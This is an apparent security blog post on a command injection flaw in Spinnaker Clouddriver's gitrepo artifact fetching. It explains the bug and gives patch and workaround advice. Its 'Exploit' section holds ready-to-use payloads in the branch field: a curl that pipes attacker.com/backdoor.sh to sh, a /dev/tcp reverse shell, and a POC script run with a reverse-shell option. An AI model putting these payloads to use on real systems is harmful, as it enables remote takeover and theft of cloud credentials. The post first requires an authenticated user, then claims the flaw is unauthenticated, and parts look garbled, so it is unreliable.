Listen to this Post
CVE-2026-32604 is a critical command injection flaw in Spinnaker’s Clouddriver service that arises when handling gitrepo artifact types. The vulnerability exists because user‑supplied input in the branch and paths fields of a gitrepo artifact is not sanitized before being incorporated into shell commands. Specifically, when an HTTP‑based git authentication method is used, the user‑controlled branch name is passed directly into a `sh -c` invocation without any validation or escaping. This allows an authenticated attacker to inject arbitrary shell metacharacters – such as backticks, $(…), ;, or `&&` – directly into those fields. When a pipeline stage fetches a gitrepo artifact, Clouddriver clones the referenced repository by constructing a command string that includes the unsanitized branch name and then executes it via sh -c. The attacker’s injected commands run with the privileges of the Clouddriver service, which holds all cloud provider credentials. Because the attack vector is network‑accessible, requires only a low‑privilege authenticated user, and changes the security scope, the vulnerability receives a CVSS 3.1 base score of 10.0 (CRITICAL). No special roles or permissions are needed beyond being able to send a `PUT /artifacts/fetch` request. Exploitation is straightforward and can lead to exposure of sensitive credentials, deletion of critical files, or injection of malicious resources into the deployment environment. The issue affects all Spinnaker versions prior to 2026.1.0, 2026.0.1, 2025.4.2, and 2025.3.2, which contain the patch. As an immediate workaround, administrators can disable the gitrepo artifact types entirely until an upgrade is applied.
Platform: Spinnaker Clouddriver Version: <2026.0.1 Vulnerability : Remote Code Execution Severity: Critical date: 2026-04-20 Prediction: within 48 hours
What Undercode Say:
Simulate injection in branch field
curl -X PUT "http://clouddriver:7002/artifacts/fetch" \
-H "Content-Type: application/json" \
-d '{"type":"git/repo","reference":"https://github.com/attacker/repo.git",
"branch":"main; curl http://attacker.com/backdoor.sh | sh "}'
Verify if Clouddriver is vulnerable
curl -X PUT "http://clouddriver:7002/artifacts/fetch" \
-d '{"type":"git/repo","reference":"https://github.com/attacker/repo.git",
"branch":"<code>id > /tmp/pwned</code>"}'
Exploit:
Using the public POC script
python3 clouddriver_rce_via_git_clone.py --gate http://gate:8084 \
--username user --password pass --revshell 192.168.1.100:4444
Manual reverse shell via branch injection
PUT /artifacts/fetch HTTP/1.1
Host: clouddriver:7002
Content-Type: application/json
{
"type": "git/repo",
"reference": "https://github.com/attacker/repo.git",
"branch": "main; bash -i >& /dev/tcp/192.168.1.100/4444 0>&1 "
}
Protection from this CVE:
Upgrade to Spinnaker versions 2026.1.0, 2026.0.1, 2025.4.2, or 2025.3.2.
If immediate upgrade is not possible, disable gitrepo artifact types entirely.
Enforce strict input validation on the `branch` and `paths` fields, or switch to SSH‑based git authentication which is not vulnerable.
Impact:
Unauthenticated remote code execution on Clouddriver pods.
Full compromise of all cloud provider credentials stored in Clouddriver.
Ability to delete files, inject malicious resources, and pivot to other infrastructure components.
🎯Let’s Practice Exploiting & Learn Patching For Free:
Sources:
Reported By: github.com
Extra Source Hub:
Undercode

